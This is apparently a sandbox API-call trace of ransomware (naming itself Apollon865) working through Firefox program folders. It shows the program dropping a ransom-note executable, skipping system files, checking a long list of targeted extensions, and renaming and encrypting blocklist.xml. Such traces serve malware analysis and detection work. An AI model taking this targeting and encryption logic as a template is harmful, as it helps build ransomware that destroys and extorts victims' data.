	[0052.753] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3783fcd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3783fcd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.753] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.753] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.753] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.753] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3783fcd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3783fcd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.754] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.754] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.754] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.754] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.754] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="CHANNE~1.JS")) returned 1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="Apollon865.txt.exe") returned 1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2=".") returned 1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="..") returned 1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="windows") returned -1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="bootmgr") returned 1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="temp") returned -1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="pagefile.sys") returned -1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="boot") returned 1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="ids.txt") returned -1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="ntuser.dat") returned -1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="perflogs") returned -1
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2="MSBuild") returned -1
	[0052.754] lstrlenW (lpString="channel-prefs.js") returned 16
	[0052.754] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*") returned 54
	[0052.754] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="channel-prefs.js" | out: lpString1="channel-prefs.js") returned="channel-prefs.js"
	[0052.754] lstrlenW (lpString="channel-prefs.js") returned 16
	[0052.754] lstrlenW (lpString="Apollon865") returned 10
	[0052.754] lstrcmpiW (lpString1="l-prefs.js", lpString2="Apollon865") returned 1
	[0052.754] lstrlenW (lpString=".dll") returned 4
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2=".dll") returned 1
	[0052.754] lstrlenW (lpString=".lnk") returned 4
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2=".lnk") returned 1
	[0052.754] lstrlenW (lpString=".ini") returned 4
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2=".ini") returned 1
	[0052.754] lstrlenW (lpString=".sys") returned 4
	[0052.754] lstrcmpiW (lpString1="channel-prefs.js", lpString2=".sys") returned 1
	[0052.754] lstrlenW (lpString="channel-prefs.js") returned 16
	[0052.755] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser"
	[0052.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0052.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0052.755] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser") returned 46
	[0052.755] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser"
	[0052.755] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.755] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.760] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3783fcd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3783fcd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.760] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.760] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.760] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.760] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3783fcd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3783fcd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.761] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.761] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.761] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.761] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.761] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4910680, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x14623, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blocklist.xml", cAlternateFileName="BLOCKL~1.XML")) returned 1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2=".") returned 1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="..") returned 1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="windows") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="bootmgr") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="temp") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="pagefile.sys") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="boot") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="ids.txt") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="ntuser.dat") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="perflogs") returned -1
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2="MSBuild") returned -1
	[0052.761] lstrlenW (lpString="blocklist.xml") returned 13
	[0052.761] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\*") returned 48
	[0052.761] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="blocklist.xml" | out: lpString1="blocklist.xml") returned="blocklist.xml"
	[0052.761] lstrlenW (lpString="blocklist.xml") returned 13
	[0052.761] lstrlenW (lpString="Apollon865") returned 10
	[0052.761] lstrcmpiW (lpString1="cklist.xml", lpString2="Apollon865") returned 1
	[0052.761] lstrlenW (lpString=".dll") returned 4
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2=".dll") returned 1
	[0052.761] lstrlenW (lpString=".lnk") returned 4
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2=".lnk") returned 1
	[0052.761] lstrlenW (lpString=".ini") returned 4
	[0052.761] lstrcmpiW (lpString1="blocklist.xml", lpString2=".ini") returned 1
	[0052.761] lstrlenW (lpString=".sys") returned 4
	[0052.762] lstrcmpiW (lpString1="blocklist.xml", lpString2=".sys") returned 1
	[0052.762] lstrlenW (lpString="blocklist.xml") returned 13
	[0052.762] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.Apollon865") returned 71
	[0052.762] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0052.762] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=83491) returned 1
	[0052.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.763] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.764] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.764] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.764] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14930, lpName=0x0) returned 0x118
	[0052.766] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14930) returned 0x120000
	[0052.772] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.772] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.772] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.773] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0052.774] CloseHandle (hObject=0x118) returned 1
	[0052.774] CloseHandle (hObject=0x15c) returned 1
	[0052.774] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.774] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.774] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.775] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="Apollon865.txt.exe") returned 1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2=".") returned 1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="..") returned 1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="windows") returned -1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="bootmgr") returned 1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="temp") returned -1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="pagefile.sys") returned -1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="boot") returned 1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="ids.txt") returned -1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="ntuser.dat") returned -1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="perflogs") returned -1
	[0052.775] lstrcmpiW (lpString1="chrome.manifest", lpString2="MSBuild") returned -1
	[0052.775] lstrlenW (lpString="chrome.manifest") returned 15
	[0052.775] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned 60
	[0052.775] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="chrome.manifest" | out: lpString1="chrome.manifest") returned="chrome.manifest"
	[0052.775] lstrlenW (lpString="chrome.manifest") returned 15
	[0052.775] lstrlenW (lpString="Apollon865") returned 10
	[0052.775] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0052.775] lstrlenW (lpString=".dll") returned 4
	[0052.776] lstrcmpiW (lpString1="chrome.manifest", lpString2=".dll") returned 1
	[0052.776] lstrlenW (lpString=".lnk") returned 4
	[0052.776] lstrcmpiW (lpString1="chrome.manifest", lpString2=".lnk") returned 1
	[0052.776] lstrlenW (lpString=".ini") returned 4
	[0052.776] lstrcmpiW (lpString1="chrome.manifest", lpString2=".ini") returned 1
	[0052.776] lstrlenW (lpString=".sys") returned 4
	[0052.776] lstrcmpiW (lpString1="chrome.manifest", lpString2=".sys") returned 1
	[0052.776] lstrlenW (lpString="chrome.manifest") returned 15
	[0052.776] lstrlenW (lpString="bak") returned 3
	[0052.776] lstrcmpiW (lpString1="est", lpString2="bak") returned 1
	[0052.776] lstrlenW (lpString="ba_") returned 3
	[0052.776] lstrcmpiW (lpString1="est", lpString2="ba_") returned 1
	[0052.776] lstrlenW (lpString="dbb") returned 3
	[0052.776] lstrcmpiW (lpString1="est", lpString2="dbb") returned 1
	[0052.776] lstrlenW (lpString="vmdk") returned 4
	[0052.776] lstrcmpiW (lpString1="fest", lpString2="vmdk") returned -1
	[0052.776] lstrlenW (lpString="rar") returned 3
	[0052.776] lstrcmpiW (lpString1="est", lpString2="rar") returned -1
	[0052.776] lstrlenW (lpString="zip") returned 3
	[0052.776] lstrcmpiW (lpString1="est", lpString2="zip") returned -1
	[0052.776] lstrlenW (lpString="tgz") returned 3
	[0052.776] lstrcmpiW (lpString1="est", lpString2="tgz") returned -1
	[0052.776] lstrlenW (lpString="vbox") returned 4
	[0052.776] lstrcmpiW (lpString1="fest", lpString2="vbox") returned -1
	[0052.776] lstrlenW (lpString="vdi") returned 3
	[0052.776] lstrcmpiW (lpString1="est", lpString2="vdi") returned -1
	[0052.776] lstrlenW (lpString="vhd") returned 3
	[0052.776] lstrcmpiW (lpString1="est", lpString2="vhd") returned -1
	[0052.776] lstrlenW (lpString="vhdx") returned 4
	[0052.776] lstrcmpiW (lpString1="fest", lpString2="vhdx") returned -1
	[0052.776] lstrlenW (lpString="avhd") returned 4
	[0052.776] lstrcmpiW (lpString1="fest", lpString2="avhd") returned 1
	[0052.776] lstrlenW (lpString="db") returned 2
	[0052.776] lstrcmpiW (lpString1="st", lpString2="db") returned 1
	[0052.776] lstrlenW (lpString="db2") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="db2") returned 1
	[0052.777] lstrlenW (lpString="db3") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="db3") returned 1
	[0052.777] lstrlenW (lpString="dbf") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="dbf") returned 1
	[0052.777] lstrlenW (lpString="mdf") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="mdf") returned -1
	[0052.777] lstrlenW (lpString="mdb") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="mdb") returned -1
	[0052.777] lstrlenW (lpString="sql") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="sql") returned -1
	[0052.777] lstrlenW (lpString="sqlite") returned 6
	[0052.777] lstrcmpiW (lpString1="nifest", lpString2="sqlite") returned -1
	[0052.777] lstrlenW (lpString="sqlite3") returned 7
	[0052.777] lstrcmpiW (lpString1="anifest", lpString2="sqlite3") returned -1
	[0052.777] lstrlenW (lpString="sqlitedb") returned 8
	[0052.777] lstrcmpiW (lpString1="manifest", lpString2="sqlitedb") returned -1
	[0052.777] lstrlenW (lpString="xml") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="xml") returned -1
	[0052.777] lstrlenW (lpString="$er") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="$er") returned 1
	[0052.777] lstrlenW (lpString="4dd") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="4dd") returned 1
	[0052.777] lstrlenW (lpString="4dl") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="4dl") returned 1
	[0052.777] lstrlenW (lpString="^^^") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="^^^") returned 1
	[0052.777] lstrlenW (lpString="abs") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="abs") returned 1
	[0052.777] lstrlenW (lpString="abx") returned 3
	[0052.777] lstrcmpiW (lpString1="est", lpString2="abx") returned 1
	[0052.777] lstrlenW (lpString="accdb") returned 5
	[0052.777] lstrcmpiW (lpString1="ifest", lpString2="accdb") returned 1
	[0052.778] lstrlenW (lpString="accdc") returned 5
	[0052.778] lstrcmpiW (lpString1="ifest", lpString2="accdc") returned 1
	[0052.778] lstrlenW (lpString="accde") returned 5
	[0052.778] lstrcmpiW (lpString1="ifest", lpString2="accde") returned 1
	[0052.778] lstrlenW (lpString="accdr") returned 5
	[0052.778] lstrcmpiW (lpString1="ifest", lpString2="accdr") returned 1
	[0052.778] lstrlenW (lpString="accdt") returned 5
	[0052.778] lstrcmpiW (lpString1="ifest", lpString2="accdt") returned 1
	[0052.778] lstrlenW (lpString="accdw") returned 5
	[0052.778] lstrcmpiW (lpString1="ifest", lpString2="accdw") returned 1
	[0052.778] lstrlenW (lpString="accft") returned 5
	[0052.778] lstrcmpiW (lpString1="ifest", lpString2="accft") returned 1
	[0052.778] lstrlenW (lpString="adb") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="adb") returned 1
	[0052.778] lstrlenW (lpString="adb") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="adb") returned 1
	[0052.778] lstrlenW (lpString="ade") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="ade") returned 1
	[0052.778] lstrlenW (lpString="adf") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="adf") returned 1
	[0052.778] lstrlenW (lpString="adn") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="adn") returned 1
	[0052.778] lstrlenW (lpString="adp") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="adp") returned 1
	[0052.778] lstrlenW (lpString="alf") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="alf") returned 1
	[0052.778] lstrlenW (lpString="ask") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="ask") returned 1
	[0052.778] lstrlenW (lpString="btr") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="btr") returned 1
	[0052.778] lstrlenW (lpString="cat") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="cat") returned 1
	[0052.778] lstrlenW (lpString="cdb") returned 3
	[0052.778] lstrcmpiW (lpString1="est", lpString2="cdb") returned 1
	[0052.778] lstrlenW (lpString="ckp") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="ckp") returned 1
	[0052.779] lstrlenW (lpString="cma") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="cma") returned 1
	[0052.779] lstrlenW (lpString="cpd") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="cpd") returned 1
	[0052.779] lstrlenW (lpString="dacpac") returned 6
	[0052.779] lstrcmpiW (lpString1="nifest", lpString2="dacpac") returned 1
	[0052.779] lstrlenW (lpString="dad") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dad") returned 1
	[0052.779] lstrlenW (lpString="dadiagrams") returned 10
	[0052.779] lstrcmpiW (lpString1="e.manifest", lpString2="dadiagrams") returned 1
	[0052.779] lstrlenW (lpString="daschema") returned 8
	[0052.779] lstrcmpiW (lpString1="manifest", lpString2="daschema") returned 1
	[0052.779] lstrlenW (lpString="db-journal") returned 10
	[0052.779] lstrcmpiW (lpString1="e.manifest", lpString2="db-journal") returned 1
	[0052.779] lstrlenW (lpString="db-shm") returned 6
	[0052.779] lstrcmpiW (lpString1="nifest", lpString2="db-shm") returned 1
	[0052.779] lstrlenW (lpString="db-wal") returned 6
	[0052.779] lstrcmpiW (lpString1="nifest", lpString2="db-wal") returned 1
	[0052.779] lstrlenW (lpString="dbc") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dbc") returned 1
	[0052.779] lstrlenW (lpString="dbs") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dbs") returned 1
	[0052.779] lstrlenW (lpString="dbt") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dbt") returned 1
	[0052.779] lstrlenW (lpString="dbv") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dbv") returned 1
	[0052.779] lstrlenW (lpString="dbx") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dbx") returned 1
	[0052.779] lstrlenW (lpString="dcb") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dcb") returned 1
	[0052.779] lstrlenW (lpString="dct") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dct") returned 1
	[0052.779] lstrlenW (lpString="dcx") returned 3
	[0052.779] lstrcmpiW (lpString1="est", lpString2="dcx") returned 1
	[0052.779] lstrlenW (lpString="ddl") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="ddl") returned 1
	[0052.780] lstrlenW (lpString="dlis") returned 4
	[0052.780] lstrcmpiW (lpString1="fest", lpString2="dlis") returned 1
	[0052.780] lstrlenW (lpString="dp1") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="dp1") returned 1
	[0052.780] lstrlenW (lpString="dqy") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="dqy") returned 1
	[0052.780] lstrlenW (lpString="dsk") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="dsk") returned 1
	[0052.780] lstrlenW (lpString="dsn") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="dsn") returned 1
	[0052.780] lstrlenW (lpString="dtsx") returned 4
	[0052.780] lstrcmpiW (lpString1="fest", lpString2="dtsx") returned 1
	[0052.780] lstrlenW (lpString="dxl") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="dxl") returned 1
	[0052.780] lstrlenW (lpString="eco") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="eco") returned 1
	[0052.780] lstrlenW (lpString="ecx") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="ecx") returned 1
	[0052.780] lstrlenW (lpString="edb") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="edb") returned 1
	[0052.780] lstrlenW (lpString="epim") returned 4
	[0052.780] lstrcmpiW (lpString1="fest", lpString2="epim") returned 1
	[0052.780] lstrlenW (lpString="fcd") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="fcd") returned -1
	[0052.780] lstrlenW (lpString="fdb") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="fdb") returned -1
	[0052.780] lstrlenW (lpString="fic") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="fic") returned -1
	[0052.780] lstrlenW (lpString="flexolibrary") returned 12
	[0052.780] lstrcmpiW (lpString1="ome.manifest", lpString2="flexolibrary") returned 1
	[0052.780] lstrlenW (lpString="fm5") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="fm5") returned -1
	[0052.780] lstrlenW (lpString="fmp") returned 3
	[0052.780] lstrcmpiW (lpString1="est", lpString2="fmp") returned -1
	[0052.781] lstrlenW (lpString="fmp12") returned 5
	[0052.781] lstrcmpiW (lpString1="ifest", lpString2="fmp12") returned 1
	[0052.781] lstrlenW (lpString="fmpsl") returned 5
	[0052.781] lstrcmpiW (lpString1="ifest", lpString2="fmpsl") returned 1
